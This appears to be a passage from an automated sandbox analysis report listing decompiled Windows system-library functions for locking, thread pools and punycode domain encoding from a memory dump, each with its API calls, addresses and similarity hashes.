							if(_t27 <= _t8) {
								L19:
								_t6 = E6CE1FFB0(0x6cef86c4, _t24, 0x6cef86c4);
								_t40 = _t24;
								if(_t24 != 0) {
									_t6 = E6CE04B3F(0x6cef86c4, _t24, _t27, _t40);
									_t29 = _t6;
									_t41 = _t29;
									if(_t29 != 0) {
										E6CE35AA0(_t19, _t29, _t24);
										E6CE45C70(_t29, 0);
										_t6 = E6CE39B82(0x6cef86c4, 0x6cef86c0, 0x6cef86c4, _t24, _t29, _t41);
									}
								}
								goto L23;
							}
							L16:
							_t24 = _t27;
							L17:
							if(_t24 != 0) {
								 *0x6cef8754 = _t24;
							}
							goto L19;
						}
						if(_t27 <= _v8) {
							goto L19;
						}
						_t24 = _t13;
						if(_t27 <= _t13) {
							goto L17;
						}
						goto L16;
					}
					L9:
					_t6 = _t27;
					goto L10;
				}
			}

0x6ced8055
0x6ced8056
0x6ced8063
0x6ced8069
0x6ced806b
0x6ced806b
0x6ced806d
0x6ced8075
0x6ced807a
0x6ced807c
0x6ced807e
0x6ced807e
0x6ced8081
0x6ced8087
0x6ced808c
0x6ced809a
0x6ced809c
0x00000000
0x00000000
0x00000000
0x6ced808e
0x6ced8090
0x6ced810d
0x6ced8112
0x6ced8112
0x6ced8092
0x6ced8096
0x6ced80a0
0x6ced80a2
0x00000000
0x00000000
0x6ced80aa
0x6ced80af
0x6ced80b4
0x6ced80b8
0x6ced80c7
0x6ced80c9
0x6ced80d7
0x6ced80dd
0x6ced80e2
0x6ced80e4
0x6ced80e6
0x6ced80eb
0x6ced80ed
0x6ced80ef
0x6ced80f3
0x6ced80fb
0x6ced8107
0x6ced8107
0x6ced80ef
0x00000000
0x6ced810c
0x6ced80cb
0x6ced80cb
0x6ced80cd
0x6ced80cf
0x6ced80d1
0x6ced80d1
0x00000000
0x6ced80cf
0x6ced80bd
0x00000000
0x00000000
0x6ced80bf
0x6ced80c3
0x00000000
0x00000000
0x00000000
0x6ced80c5
0x6ced809e
0x6ced809e
0x00000000
0x6ced809e

APIs

RtlAcquireSRWLockExclusive.1105(6CEF86C4,00000008,?,00000000,00000008,?,6CE5F8D6,?,00000000,00000000,?,6CE022D2,00000000,?,00000000,00000034), ref: 6CED80AA
RtlReleaseSRWLockExclusive.1105(6CEF86C4,6CEF86C4,00000008,?,00000000,00000008,?,6CE5F8D6,?,00000000,00000000,?,6CE022D2,00000000,?,00000000), ref: 6CED80DD
TpSetPoolMaxThreads.1105(00000000,00000000,6CEF86C4,6CEF86C4,00000008,?,00000000,00000008,?,6CE5F8D6,?,00000000,00000000,?,6CE022D2,00000000), ref: 6CED80F3
TpSetPoolMaxThreadsSoftLimit.1105(00000000,00000000,00000000,00000000,6CEF86C4,6CEF86C4,00000008,?,00000000,00000008,?,6CE5F8D6,?,00000000,00000000), ref: 6CED80FB

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLockPoolThreads$AcquireLimitReleaseSoft
String ID:
API String ID: 4208054433-0
Opcode ID: 5cbce15273f47e31e9adcbfe74a89f67bbfab0f39b868f0c47d9786afe94ee53
Instruction ID: 1aa8fcd443a5c854ca62b49065569d09fc020a268651a8e4051e501f50aca10d
Opcode Fuzzy Hash: 5cbce15273f47e31e9adcbfe74a89f67bbfab0f39b868f0c47d9786afe94ee53
Instruction Fuzzy Hash: 59110F72B011255797345A6A4CA0A4FA37857C674DB33223FED24E7F40DA21FD0786E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE92D0B, Relevance: 6.1, APIs: 4, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6CE92D0B(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				intOrPtr* _t17;
				signed int _t29;
				signed int _t34;
				intOrPtr* _t37;
				void* _t42;

				_push(__ecx);
				_t34 = 0;
				_t29 = 0;
				_v8 = 0;
				E6CE2FAD0( *0x6cef84cc + 4);
				_t32 =  *0x6cef84cc;
				_t17 =  *0x6cef84cc + 8;
				_t37 =  *_t17;
				if(_t37 == _t17) {
					L10:
					return E6CE2FA00(_t29, _t32, _t34, _t32 + 4);
				} else {
					goto L1;
				}
				do {
					L1:
					_t3 = _t37 + 0xc; // 0xc
					E6CE2FAD0(_t3);
					if( *((intOrPtr*)(_t37 + 0x40)) != 2) {
						goto L7;
					}
					if((_t34 | _t29) == 0) {
						L6:
						_t34 =  *(_t37 + 0x44);
						_t29 =  *(_t37 + 0x48);
						_v8 = 1;
						goto L7;
					}
					_t42 =  *(_t37 + 0x48) - _t29;
					if(_t42 <= 0 && (_t42 < 0 ||  *(_t37 + 0x44) < _t34)) {
						goto L6;
					}
					L7:
					_t10 = _t37 + 0xc; // 0xc
					E6CE2FA00(_t29, _t32, _t34, _t10);
					_t32 =  *0x6cef84cc;
					_t37 =  *_t37;
				} while (_t37 !=  *0x6cef84cc + 8);
				if(_v8 != 0) {
					E6CE933A0(_t29, _t34, _t29);
					_t32 =  *0x6cef84cc;
				}
				goto L10;
			}

0x6ce92d10
0x6ce92d1c
0x6ce92d1f
0x6ce92d21
0x6ce92d24
0x6ce92d29
0x6ce92d2f
0x6ce92d32
0x6ce92d36
0x6ce92d91
0x6ce92da0
0x00000000
0x00000000
0x00000000
0x6ce92d38
0x6ce92d38
0x6ce92d38
0x6ce92d3c
0x6ce92d45
0x00000000
0x00000000
0x6ce92d4b
0x6ce92d59
0x6ce92d59
0x6ce92d5c
0x6ce92d5f
0x00000000
0x6ce92d5f
0x6ce92d4d
0x6ce92d50
0x00000000
0x00000000
0x6ce92d66
0x6ce92d66
0x6ce92d6a
0x6ce92d6f
0x6ce92d75
0x6ce92d7a
0x6ce92d82
0x6ce92d86
0x6ce92d8b
0x6ce92d8b
0x00000000

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000008,?,?,6CE5FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000), ref: 6CE92D24
RtlAcquireSRWLockShared.1105(0000000C,?,00000000,00000000,00000008,?,?,6CE5FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6CE92D3C

Part of subcall function 6CE2FAD0: RtlDllShutdownInProgress.1105(00000000), ref: 6CE2FB35
Part of subcall function 6CE2FAD0: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6CE2FBE3

RtlReleaseSRWLockShared.1105(0000000C,0000000C,?,00000000,00000000,00000008,?,?,6CE5FFD2,00000000,?), ref: 6CE92D6A
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000008,?,?,6CE5FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6CE92D95

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease$AlertProgressShutdownThreadWait
String ID:
API String ID: 276812241-0
Opcode ID: 148723bc39b4910b2924fac3f414d5d5722d5acb137ed74ea3b5aa16e3969dc4
Instruction ID: ad79abd5ade3d8166d5611310ce900058c1ec53b159f4c0d0f08346f28ab1979
Opcode Fuzzy Hash: 148723bc39b4910b2924fac3f414d5d5722d5acb137ed74ea3b5aa16e3969dc4
Instruction Fuzzy Hash: 151102716002199FCF30CA55C484A9AB3FCEB8231CB34852ED59983B10D735ED09CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2E63F, Relevance: 6.1, APIs: 4, Instructions: 53
threadCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E6CE2E63F(intOrPtr* __ecx, intOrPtr __edx) {
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr* _t34;

				_push(__ecx);
				_t24 = __edx;
				_t34 = __ecx;
				if( *((intOrPtr*)(__edx + 0x38)) != 0xffffffff) {
					if( *((intOrPtr*)(__edx + 0x38)) != 0) {
						 *__ecx = 0x24;
						 *((intOrPtr*)(__ecx + 4)) = 1;
						E6CE1F540(__ecx,  *((intOrPtr*)(__edx + 0x38)));
						 *(__ecx + 0x28) =  *(__ecx + 0x28) | 0x00000001;
					}
				}
				 *(_t34 + 0x50) =  *(_t34 + 0x50) | 0x00000240;
				 *((intOrPtr*)(_t34 + 0x6c)) = _t24;
				if(( *(_t24 + 0x68) & 0x00000003) == 1) {
					E6CE04B00(_t34);
				}
				_t18 =  *((intOrPtr*)(_t24 + 0x3c));
				if(_t18 != 0) {
					 *((intOrPtr*)(_t34 + 0x2c)) = _t18;
					E6CE03E80(_t18);
				}
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E6CE2E6B0(_t24 + 0x50);
			}

0x6ce2e647
0x6ce2e649
0x6ce2e64d
0x6ce2e653
0x6ce2e69b
0x6ce5e248
0x6ce5e24e
0x6ce5e258
0x6ce5e25d
0x6ce5e25d
0x6ce2e69b
0x6ce2e655
0x6ce2e65c
0x6ce2e666
0x6ce2e6a3
0x6ce2e6a3
0x6ce2e668
0x6ce2e66d
0x6ce5e267
0x6ce5e26a
0x6ce5e26a
0x6ce2e687
0x6ce2e688
0x6ce2e689
0x6ce2e68a
0x6ce2e696

APIs

RtlSetThreadWorkOnBehalfTicket.1105(?,?,?), ref: 6CE2E68B
TpCallbackMayRunLong.1105(?,?,?), ref: 6CE2E6A3
RtlActivateActivationContextUnsafeFast.1105(?,?,?,?,?,6CE39688,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6CE5E258

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivateActivationBehalfCallbackContextFastLongThreadTicketUnsafeWork
String ID:
API String ID: 3384506009-0
Opcode ID: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction ID: fcd0271cebc232665f517513aa0dceb7369f0250731b051aface86e6179d3cd7
Opcode Fuzzy Hash: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction Fuzzy Hash: 1801C431544A108BC720CF29C884B82B7B8EF4632DF74066DD9594BB85E779EC86CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB8061, Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 402
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E6CEB8061(signed short __ecx, signed int __edx, signed int _a4, signed int* _a8, char _a12, char _a16) {
				signed int _v8;
				signed short _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				signed short _v48;
				signed short _v52;
				intOrPtr _v56;
				signed short _v60;
				intOrPtr _v64;
				signed int _v68;
				signed int _v72;
				intOrPtr _v76;
				signed short _v80;
				signed int _v84;
				signed int _t149;
				signed int _t152;
				void* _t153;
				void* _t155;
				signed short _t160;
				char* _t162;
				signed short _t163;
				signed int _t166;
				intOrPtr _t170;
				void* _t172;
				intOrPtr _t176;
				intOrPtr _t181;
				intOrPtr _t182;
				intOrPtr _t186;
				void* _t188;
				signed short _t189;
				intOrPtr _t193;
				signed int _t194;
				void* _t196;
				signed short _t197;
				signed int _t198;
				void* _t203;
				char* _t204;
				signed short _t205;
				void* _t209;
				signed int _t210;
				signed short _t213;
				signed int* _t214;
				intOrPtr* _t215;
				signed short _t216;
				signed int _t217;
				signed short _t222;
				intOrPtr _t228;
				signed int _t229;
				void* _t232;
				signed int _t233;
				intOrPtr _t236;
				signed int _t237;
				signed int _t238;
				intOrPtr _t241;
				signed short _t248;
				signed int _t249;
				signed short _t250;
				signed int _t252;
				void* _t253;
				signed short _t254;
				void* _t259;
				void* _t261;
				signed int _t262;
				signed short _t265;
				signed int _t266;
				signed short _t267;
				intOrPtr _t268;
				signed short _t269;
				signed short _t270;
				signed int _t273;
				signed short _t274;
				void* _t275;

				_t216 = __ecx;
				_v12 = __ecx;
				_v52 = __ecx;
				_t214 = _a8;
				_v40 = __ecx + __edx * 2;
				_t273 = _a4;
				_t149 = _t273;
				_v72 = _t149;
				_t262 = _t149;
				_v84 = _t262;
				_v20 = _t262 +  *_t214 * 2;
				if(__edx > 0) {
					_t241 = _v40;
					_t152 = _t262;
					__eflags = __ecx - _t241;
					if(__ecx >= _t241) {
						L87:
						__eflags = _a12;
						_t262 = _t152;
						_t217 = _t262;
						if(_a12 != 0) {
							goto L89;
						}
						goto L88;
					} else {
						_v36 = _t152;
						_v76 = 0x19;
						while(1) {
							_t215 = E6CE05DDE(_t216, _t241, _a12);
							_t160 = _v12;
							__eflags = _t215 - _t160;
							if(_t215 == _t160) {
								break;
							}
							__eflags = _a12;
							if(_a12 != 0) {
								_t162 = L"xl--";
								L13:
								_push(_t216);
								_push(_t216);
								_t163 = E6CE8E850(_t273, _v20 - _t273 >> 1, _t162,  &_a4,  &_a4);
								__eflags = _t163;
								if(_t163 < 0) {
									L92:
									_t155 = 0xc0000023;
									L91:
									 *_a8 =  *_a8 & 0x00000000;
									return _t155;
								}
								_t222 = _v12;
								_t265 = 0;
								_t273 = _a4;
								_t248 = _t222;
								_v28 = 0;
								_v24 = _t273;
								__eflags = _t222 - _t215;
								if(_t222 >= _t215) {
									L33:
									_v80 = _t265;
									_t166 = _t215 - _t222 >> 1;
									_v68 = _t166;
									__eflags = _t265 - _t166;
									if(_t265 != _t166) {
										__eflags = (_v40 - _t222 & 0xfffffffe) - 8;
										if((_v40 - _t222 & 0xfffffffe) < 8) {
											L42:
											_v32 = _v32 & 0x00000000;
											__eflags = _t265;
											if(_t265 <= 0) {
												L45:
												_t170 = 0x48;
												_v48 = 0x80;
												_t249 = 0;
												__eflags = 0;
												_v44 = _t170;
												while(1) {
													_v8 = _t249;
													__eflags = _t265 - _v68;
													if(_t265 >= _v68) {
														break;
													}
													_t176 = 0x7ffffff;
													_t267 = _t222;
													_v16 = 0x7ffffff;
													__eflags = _t222 - _t215;
													if(__eflags >= 0) {
														L54:
														_t265 = _v28;
														_t252 = _t249 + (_t265 - _v32 + 1) * (_t176 - _v48);
														_t222 = _v12;
														_v8 = _t252;
														_t178 = _t222;
														_v48 = _t222;
														__eflags = _t222 - _t215;
														if(__eflags >= 0) {
															L77:
															_t249 = _t252 + 1;
															_v48 = _v16 + 1;
															continue;
														} else {
															goto L55;
														}
														do {
															L55:
															_t181 = E6CEB7EE9(_t178, __eflags);
															_t252 = _v8;
															_t228 = _t181;
															_t182 = _v16;
															_v64 = _t228;
															__eflags = _t228 - _t182;
															if(__eflags < 0) {
																_t252 = _t252 + 1;
																__eflags = _t228 - _t182;
																_v8 = _t252;
															}
															if(__eflags == 0) {
																_t186 = _v44;
																_t229 = _t252;
																_t268 = 0x24;
																_t253 = _t268;
																_t254 = _t253 - _t186;
																__eflags = _t254;
																while(1) {
																	_v60 = _t254;
																	_v56 = _t268;
																	__eflags = _t268 - _t186;
																	if(_t268 > _t186) {
																		__eflags = _t268 - _t186 + 0x1a;
																		if(_t268 < _t186 + 0x1a) {
																			_t269 = _t254;
																		} else {
																			_t269 = 0x1a;
																		}
																	} else {
																		_t269 = 1;
																	}
																	__eflags = _t229 - _t269;
																	if(_t229 < _t269) {
																		break;
																	}
																	__eflags = _t273 - _v20;
																	if(_t273 >= _v20) {
																		goto L92;
																	}
																	_v24 = _t229 - _t269;
																	_t194 = _v24;
																	_t232 = 0x24;
																	_t233 = _t232 - _t269;
																	asm("cdq");
																	_t229 = _t194 / _t233;
																	_v24 = _t229;
																	_t196 = _t194 % _t233 + _t269;
																	_t259 = 0x19;
																	__eflags = _t196 - _t259;
																	if(_t196 <= _t259) {
																		_t197 = _t196 + 0x61;
																		__eflags = _t197;
																		_t198 = _t197 & 0x0000ffff;
																	} else {
																		_t198 = _t196 + 0x00000016 & 0x0000ffff;
																		_t229 = _v24;
																	}
																	_t268 = _v56 + 0x24;
																	 *_t273 = _t198;
																	_t273 = _t273 + 2;
																	_t186 = _v44;
																	_t254 = _v60 + 0x24;
																}
																__eflags = _t273 - _v20;
																if(_t273 >= _v20) {
																	goto L92;
																}
																_t188 = 0x19;
																__eflags = _t229 - _t188;
																_t189 = _t229 + 0x16;
																if(_t229 <= _t188) {
																	_t189 = _t229 + 0x61;
																}
																_t270 = _v28;
																 *_t273 = _t189 & 0x0000ffff;
																_t273 = _t273 + 2;
																__eflags = _t270 - _v80;
																_v24 = _t273;
																_a4 = _t273;
																_t193 = E6CEB7FD5(_v8, _t270 - _v32 + 1, (_t189 & 0xff00 | _t270 == _v80) & 0x000000ff);
																_t228 = _v64;
																_t252 = 0;
																_t265 = _t270 + 1;
																_v44 = _t193;
																__eflags = _v16 - 0x10000;
																_v8 = 0;
																_v28 = _t265;
																if(_v16 >= 0x10000) {
																	_t265 = _t265 + 1;
																	_t112 =  &_v32;
																	 *_t112 = _v32 + 1;
																	__eflags =  *_t112;
																	_v28 = _t265;
																}
															}
															__eflags = _t228 - 0x10000;
															_v48 = _v48 + 2 + (0 | _t228 - 0x00010000 >= 0x00000000) * 2;
															_t178 = _v48;
															__eflags = _v48 - _t215;
														} while (__eflags < 0);
														_t222 = _v12;
														goto L77;
													}
													_t274 = _v48;
													do {
														_t236 = E6CEB7EE9(_t267, __eflags);
														__eflags = _t236 - _t274;
														if(_t236 >= _t274) {
															__eflags = _t236 - _v16;
															if(_t236 < _v16) {
																_v16 = _t236;
															}
														}
														__eflags = _t236 - 0x10000;
														_t267 = _t267 + 2 + (0 | _t236 - 0x00010000 >= 0x00000000) * 2;
														__eflags = _t267 - _t215;
													} while (__eflags < 0);
													_t273 = _v24;
													_t249 = _v8;
													_t176 = _v16;
													goto L54;
												}
												_t266 = _v36;
												L79:
												_t250 = _a12;
												__eflags = _t250;
												if(_t250 != 0) {
													L81:
													__eflags = _t215 - _v40;
													if(_t215 == _v40) {
														L86:
														_t241 = _v40;
														_t216 = _t215 + 2;
														_v12 = _t216;
														_t152 = _t273;
														_v36 = _t273;
														_t262 = _t273;
														__eflags = _t215 - _t241;
														if(_t215 < _t241) {
															continue;
														}
														goto L87;
													}
													__eflags = _t273 - _v20;
													if(_t273 >= _v20) {
														goto L92;
													}
													 *_t273 =  *_t215;
													_t273 = _t273 + 2;
													_a4 = _t273;
													__eflags = _t250;
													if(_t250 != 0) {
														_t172 = 0x40;
														__eflags =  *_t215 - _t172;
														if( *_t215 == _t172) {
															__eflags = 0;
															_v72 = _t273;
															_a12 = 0;
														}
													}
													goto L86;
												}
												__eflags = (_t273 - _t266 & 0xfffffffe) - 0x7e;
												if((_t273 - _t266 & 0xfffffffe) > 0x7e) {
													L90:
													_t155 = 0xc0000716;
													goto L91;
												}
												goto L81;
											}
											__eflags = _t273 - _v20;
											if(_t273 >= _v20) {
												goto L92;
											}
											_t203 = 0x2d;
											 *_t273 = _t203;
											_t273 = _t273 + 2;
											__eflags = _t273;
											_v24 = _t273;
											_a4 = _t273;
											goto L45;
										}
										__eflags = _a12;
										_t204 = L"xl--";
										if(_a12 == 0) {
											_t204 = L"xn--";
										}
										_t205 = E6CE4E5C0(_t222, _t204, 4);
										_t275 = _t275 + 0xc;
										__eflags = _t205;
										if(_t205 == 0) {
											goto L90;
										} else {
											_t222 = _v12;
											goto L42;
										}
									}
									_t266 = _v36;
									_t261 = _t273 - 8;
									_t237 = _t266;
									__eflags = _t266 - _t261;
									if(_t266 >= _t261) {
										L36:
										_t273 = _t273 - 8;
										_a4 = _t273;
										goto L79;
									} else {
										goto L35;
									}
									do {
										L35:
										 *_t237 =  *((intOrPtr*)(_t237 + 8));
										_t237 = _t237 + 2;
										__eflags = _t237 - _t261;
									} while (_t237 < _t261);
									goto L36;
								} else {
									goto L15;
								}
								do {
									L15:
									_t238 =  *_t248 & 0x0000ffff;
									__eflags = _t238 - 0x80;
									if(_t238 >= 0x80) {
										__eflags = _t238 + 0x2800 - 0x3ff;
										if(_t238 + 0x2800 <= 0x3ff) {
											_t248 = _t248 + 2;
											__eflags = _t248;
										}
										goto L31;
									}
									_t209 = _a12;
									__eflags = _t209;
									if(_t209 != 0) {
										L22:
										__eflags = _t238;
										if(_t238 == 0) {
											goto L90;
										}
										__eflags = _t273 - _v20;
										if(_t273 >= _v20) {
											goto L92;
										}
										__eflags = _t209;
										if(_t209 != 0) {
											L27:
											_t210 = _t238;
											L28:
											 *_t273 = _t210;
											_t273 = _t273 + 2;
											_t265 = _t265 + 1;
											_v24 = _t273;
											_a4 = _t273;
											_v28 = _t265;
											goto L31;
										}
										__eflags = _t238 - 0x41 - _v76;
										if(_t238 - 0x41 > _v76) {
											goto L27;
										} else {
											_t210 = _t238 + 0x00000020 & 0x0000ffff;
											goto L28;
										}
									}
									__eflags = _a16 - _t209;
									if(_a16 == _t209) {
										L20:
										__eflags = _t238 - 0x20;
										if(_t238 < 0x20) {
											goto L90;
										}
										__eflags = _t238 - 0x7f;
										if(_t238 == 0x7f) {
											goto L90;
										}
										goto L22;
									}
									_t213 = E6CEB7F9F(_t238);
									__eflags = _t213;
									if(_t213 == 0) {
										goto L90;
									} else {
										_t209 = _a12;
										goto L20;
									}
									L31:
									_t248 = _t248 + 2;
									__eflags = _t248 - _t215;
								} while (_t248 < _t215);
								_t222 = _v12;
								goto L33;
							}
							__eflags = _a16;
							if(_a16 == 0) {
								L11:
								_t162 = L"xn--";
								goto L13;
							}
							_t216 = 0x2d;
							__eflags =  *_t160 - _t216;
							if( *_t160 == _t216) {
								goto L90;
							}
							__eflags = _t215 - _v52;
							if(_t215 <= _v52) {
								goto L11;
							}
							__eflags =  *((intOrPtr*)(_t215 - 2)) - _t216;
							if( *((intOrPtr*)(_t215 - 2)) == _t216) {
								goto L90;
							}
							goto L11;
						}
						__eflags = _a12;
						if(_a12 != 0) {
							L95:
							 *_a8 =  *_a8 & 0x00000000;
							goto L2;
						}
						__eflags = _t215 - _t241;
						if(_t215 == _t241) {
							L88:
							_t217 = _t262;
							 *((short*)(_t273 - 2)) - 0x2e = _t262 - _v72 >> 1 - ( *((short*)(_t273 - 2)) == 0x2e) + 0xfe;
							if(_t262 - _v72 >> 1 > ( *((short*)(_t273 - 2)) == 0x2e) + 0xfe) {
								goto L90;
							}
							L89:
							_t153 = 0x40;
							__eflags =  *((intOrPtr*)(_t273 - 2)) - _t153;
							if( *((intOrPtr*)(_t273 - 2)) != _t153) {
								__eflags = 0;
								 *_a8 = _t217 - _v84 >> 1;
								return 0;
							}
							goto L90;
						}
						goto L95;
					}
				} else {
					 *_t214 =  *_t214 & 0x00000000;
					L2:
					return 0xc0000716;
				}
			}

0x6ceb8061
0x6ceb8069
0x6ceb806e
0x6ceb8072
0x6ceb8078
0x6ceb807c
0x6ceb807f
0x6ceb8081
0x6ceb8085
0x6ceb8089
0x6ceb808f
0x6ceb8094
0x6ceb80a3
0x6ceb80a6
0x6ceb80a8
0x6ceb80aa
0x6ceb8464
0x6ceb8464
0x6ceb8468
0x6ceb846a
0x6ceb846c
0x00000000
0x00000000
0x00000000
0x6ceb80b0
0x6ceb80b0
0x6ceb80b3
0x6ceb80ba
0x6ceb80c2
0x6ceb80c4
0x6ceb80c7
0x6ceb80c9
0x00000000
0x00000000
0x6ceb80cf
0x6ceb80d3
0x6ceb80fd
0x6ceb8102
0x6ceb8105
0x6ceb8106
0x6ceb8113
0x6ceb8118
0x6ceb811a
0x6ceb849e
0x6ceb849e
0x6ceb8496
0x6ceb8499
0x00000000
0x6ceb8499
0x6ceb8120
0x6ceb8123
0x6ceb8125
0x6ceb8128
0x6ceb812a
0x6ceb812d
0x6ceb8130
0x6ceb8132
0x6ceb81cf
0x6ceb81d1
0x6ceb81d6
0x6ceb81d8
0x6ceb81db
0x6ceb81dd
0x6ceb820c
0x6ceb820f
0x6ceb8238
0x6ceb8238
0x6ceb823c
0x6ceb823e
0x6ceb8258
0x6ceb825a
0x6ceb825b
0x6ceb8262
0x6ceb8262
0x6ceb8264
0x6ceb8267
0x6ceb8267
0x6ceb826a
0x6ceb826d
0x00000000
0x00000000
0x6ceb8273
0x6ceb8278
0x6ceb827a
0x6ceb827d
0x6ceb827f
0x6ceb82ba
0x6ceb82ba
0x6ceb82c9
0x6ceb82cb
0x6ceb82ce
0x6ceb82d1
0x6ceb82d3
0x6ceb82d6
0x6ceb82d8
0x6ceb83ff
0x6ceb8402
0x6ceb8404
0x00000000
0x00000000
0x00000000
0x00000000
0x6ceb82de
0x6ceb82de
0x6ceb82e0
0x6ceb82e5
0x6ceb82e8
0x6ceb82ea
0x6ceb82ed
0x6ceb82f0
0x6ceb82f2
0x6ceb82f4
0x6ceb82f5
0x6ceb82f7
0x6ceb82f7
0x6ceb82fa
0x6ceb8300
0x6ceb8303
0x6ceb8307
0x6ceb8309
0x6ceb830a
0x6ceb830a
0x6ceb830c
0x6ceb830c
0x6ceb830f
0x6ceb8312
0x6ceb8314
0x6ceb831e
0x6ceb8320
0x6ceb8327
0x6ceb8322
0x6ceb8324
0x6ceb8324
0x6ceb8316
0x6ceb8318
0x6ceb8318
0x6ceb8329
0x6ceb832b
0x00000000
0x00000000
0x6ceb832d
0x6ceb8330
0x00000000
0x00000000
0x6ceb8338
0x6ceb833b
0x6ceb8340
0x6ceb8341
0x6ceb8343
0x6ceb8348
0x6ceb834a
0x6ceb834d
0x6ceb8350
0x6ceb8351
0x6ceb8353
0x6ceb8360
0x6ceb8360
0x6ceb8363
0x6ceb8355
0x6ceb8358
0x6ceb835b
0x6ceb835b
0x6ceb836c
0x6ceb836f
0x6ceb8372
0x6ceb8375
0x6ceb8378
0x6ceb8378
0x6ceb837d
0x6ceb8380
0x00000000
0x00000000
0x6ceb8388
0x6ceb8389
0x6ceb838b
0x6ceb838e
0x6ceb8390
0x6ceb8390
0x6ceb8393
0x6ceb839e
0x6ceb83a1
0x6ceb83a4
0x6ceb83a7
0x6ceb83ad
0x6ceb83b8
0x6ceb83bd
0x6ceb83c0
0x6ceb83c2
0x6ceb83c3
0x6ceb83c6
0x6ceb83cd
0x6ceb83d0
0x6ceb83d3
0x6ceb83d5
0x6ceb83d6
0x6ceb83d6
0x6ceb83d6
0x6ceb83d9
0x6ceb83d9
0x6ceb83d3
0x6ceb83de
0x6ceb83ee
0x6ceb83f1
0x6ceb83f4
0x6ceb83f4
0x6ceb83fc
0x00000000
0x6ceb83fc
0x6ceb8281
0x6ceb8284
0x6ceb828b
0x6ceb828d
0x6ceb828f
0x6ceb8291
0x6ceb8294
0x6ceb8296
0x6ceb8296
0x6ceb8294
0x6ceb829b
0x6ceb82ab
0x6ceb82ad
0x6ceb82ad
0x6ceb82b1
0x6ceb82b4
0x6ceb82b7
0x00000000
0x6ceb82b7
0x6ceb840c
0x6ceb840f
0x6ceb840f
0x6ceb8412
0x6ceb8414
0x6ceb8422
0x6ceb8422
0x6ceb8425
0x6ceb844c
0x6ceb844c
0x6ceb844f
0x6ceb8452
0x6ceb8455
0x6ceb8457
0x6ceb845a
0x6ceb845c
0x6ceb845e
0x00000000
0x00000000
0x00000000
0x6ceb845e
0x6ceb8427
0x6ceb842a
0x00000000
0x00000000
0x6ceb842f
0x6ceb8432
0x6ceb8435
0x6ceb8438
0x6ceb843a
0x6ceb843e
0x6ceb843f
0x6ceb8442
0x6ceb8444
0x6ceb8446
0x6ceb8449
0x6ceb8449
0x6ceb8442
0x00000000
0x6ceb843a
0x6ceb841d
0x6ceb8420
0x6ceb8491
0x6ceb8491
0x00000000
0x6ceb8491
0x00000000
0x6ceb8420
0x6ceb8240
0x6ceb8243
0x00000000
0x00000000
0x6ceb824b
0x6ceb824c
0x6ceb824f
0x6ceb824f
0x6ceb8252
0x6ceb8255
0x00000000
0x6ceb8255
0x6ceb8211
0x6ceb8215
0x6ceb821a
0x6ceb821c
0x6ceb821c
0x6ceb8225
0x6ceb822a
0x6ceb822d
0x6ceb822f
0x00000000
0x6ceb8235
0x6ceb8235
0x00000000
0x6ceb8235
0x6ceb822f
0x6ceb81df
0x6ceb81e2
0x6ceb81e5
0x6ceb81e7
0x6ceb81e9
0x6ceb81f9
0x6ceb81f9
0x6ceb81fc
0x00000000
0x00000000
0x00000000
0x00000000
0x6ceb81eb
0x6ceb81eb
0x6ceb81ef
0x6ceb81f2
0x6ceb81f5
0x6ceb81f5
0x00000000
0x00000000
0x00000000
0x00000000
0x6ceb8138
0x6ceb8138
0x6ceb8138
0x6ceb8140
0x6ceb8143
0x6ceb81b9
0x6ceb81bc
0x6ceb81be
0x6ceb81be
0x6ceb81be
0x00000000
0x6ceb81bc
0x6ceb8145
0x6ceb8148
0x6ceb814a
0x6ceb8173
0x6ceb8173
0x6ceb8176
0x00000000
0x00000000
0x6ceb817c
0x6ceb817f
0x00000000
0x00000000
